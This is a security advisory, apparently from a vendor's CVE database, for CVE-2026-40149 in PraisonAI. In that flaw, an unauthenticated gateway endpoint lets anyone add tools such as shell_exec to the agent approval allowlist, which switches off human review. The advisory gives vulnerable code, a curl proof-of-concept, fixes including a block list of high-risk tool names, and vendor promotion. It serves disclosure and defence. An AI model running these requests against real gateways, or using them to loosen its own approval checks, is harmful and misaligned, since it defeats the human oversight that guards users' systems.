CVE-2026-40149 — praisonai
HIGHCVE-2026-40149 is a high-severity (CVSS 7.9) CWE-396 vulnerability in praisonai. A fix is available for praisonai — see the affected versions and patch details below.
PraisonAI has an Unauthenticated Allow-List Manipulation Bypasses Agent Tool Approval Safety Controls
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40149.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-40149 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
praisonaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce.
Details
The vulnerability arises from the interaction of three components:
1. Authentication bypass in default config
_check_auth() in server.py:243-246 returns None (no error) when self.config.auth_token is falsy:
# server.py:243-246
def _check_auth(request) -> Optional[JSONResponse]:
if not self.config.auth_token:
return None # No auth configured → allow everything
GatewayConfig defaults auth_token to None (config.py:61):
# config.py:61
auth_token: Optional[str] = None
2. Unrestricted allowlist modification
The approval_allowlist handler at server.py:381-420 calls _check_auth() and proceeds when it returns None:
# server.py:388-410
auth_err = _check_auth(request)
if auth_err:
return auth_err
# ...
if request.method == "POST":
_approval_mgr.allowlist.add(tool_name) # No validation on tool_name
return JSONResponse({"added": tool_name})
There is no validation that tool_name corresponds to a real tool, no restriction on which tools can be allowlisted, and no rate limiting.
3. Auto-approval fast path
When GatewayApprovalBackend.request_approval() is called by an agent (gateway_approval.py:87), it calls ExecApprovalManager.register(), which checks the allowlist first (exec_approval.py:141-144):
# exec_approval.py:140-144
# Fast path: already permanently allowed
if tool_name in self.allowlist:
future.set_result(Resolution(approved=True, reason="allow-always"))
return ("auto", future)
The tool executes immediately without any human review.
Complete data flow:
- Attacker POSTs
{"tool_name": "shell_exec"}to/api/approval/allow-list _check_auth()returnsNone(no auth token configured)_approval_mgr.allowlist.add("shell_exec")adds to thePermissionAllowlistset- Agent later calls
shell_exec→GatewayApprovalBackend.request_approval()→ExecApprovalManager.register() register()hits the fast path:"shell_exec" in self.allowlist→True- Returns
Resolution(approved=True)— no human review occurs - Agent executes the dangerous tool
PoC
# Step 1: Verify the gateway is running with default config (no auth)
curl http://127.0.0.1:8765/health
# Response: {"status": "healthy", ...}
# Step 2: Check current allow-list (empty by default)
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": []}
# Step 3: Add dangerous tools to allow-list without authentication
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "shell_exec"}'
# Response: {"added": "shell_exec"}
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "file_write"}'
# Response: {"added": "file_write"}
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "code_execution"}'
# Response: {"added": "code_execution"}
# Step 4: Verify tools are now permanently auto-approved
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": ["code_execution", "file_write", "shell_exec"]}
# Step 5: Any agent using GatewayApprovalBackend will now auto-approve
# these tools via ExecApprovalManager.register() fast path at
# exec_approval.py:141 without human review.
Impact
- Bypasses human-in-the-loop safety controls: The approval system is the primary safety mechanism preventing agents from executing dangerous operations (shell commands, file writes, code execution) without human review. Once the allowlist is manipulated, all safety gates for the specified tools are permanently disabled for the lifetime of the gateway process.
- Enables arbitrary agent tool execution: Any tool can be added to the allowlist, including tools that execute shell commands, write files, or perform other privileged operations.
- Persistent within process: The allowlist is stored in-memory and persists for the entire gateway lifetime. There is no audit log of allowlist modifications.
- Local attack surface: Default binding to
127.0.0.1limits this to local attackers, but any process on the same host (malicious scripts, compromised dependencies, SSRF from other local services) can exploit this. When combined with the separately-reported CORS wildcard origin (CWE-942), this becomes exploitable from any website via the user's browser.
Recommended Fix
The approval allowlist endpoint is a security-critical function and should always require authentication, even in development mode. Apply one of these mitigations:
Option A: Require auth_token for approval endpoints (recommended)
# server.py - modify _check_auth or add a separate check for approval endpoints
def _check_auth_required(request) -> Optional[JSONResponse]:
"""Validate auth token - ALWAYS required for security-critical endpoints."""
if not self.config.auth_token:
return JSONResponse(
{"error": "auth_token must be configured to use approval endpoints"},
status_code=403,
)
return _check_auth(request)
# Then in approval_allowlist():
async def approval_allowlist(request):
auth_err = _check_auth_required(request) # Always require auth
if auth_err:
return auth_err
Option B: Restrict allowlist additions to known safe tools
# exec_approval.py - add a tool safety classification
ALLOWLIST_BLOCKED_TOOLS = {"shell_exec", "file_write", "code_execution", "bash", "terminal"}
# server.py - validate tool_name before adding
if tool_name in ALLOWLIST_BLOCKED_TOOLS:
return JSONResponse(
{"error": f"'{tool_name}' cannot be added to allow-list (high-risk tool)"},
status_code=403,
)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | praisonai | all versions | 4.5.128pip install --upgrade 'praisonai==4.5.128' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update praisonai to 4.5.128 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40149 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40149 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-40149. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-40149 in your dependencies?
O3 Security finds CVE-2026-40149 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.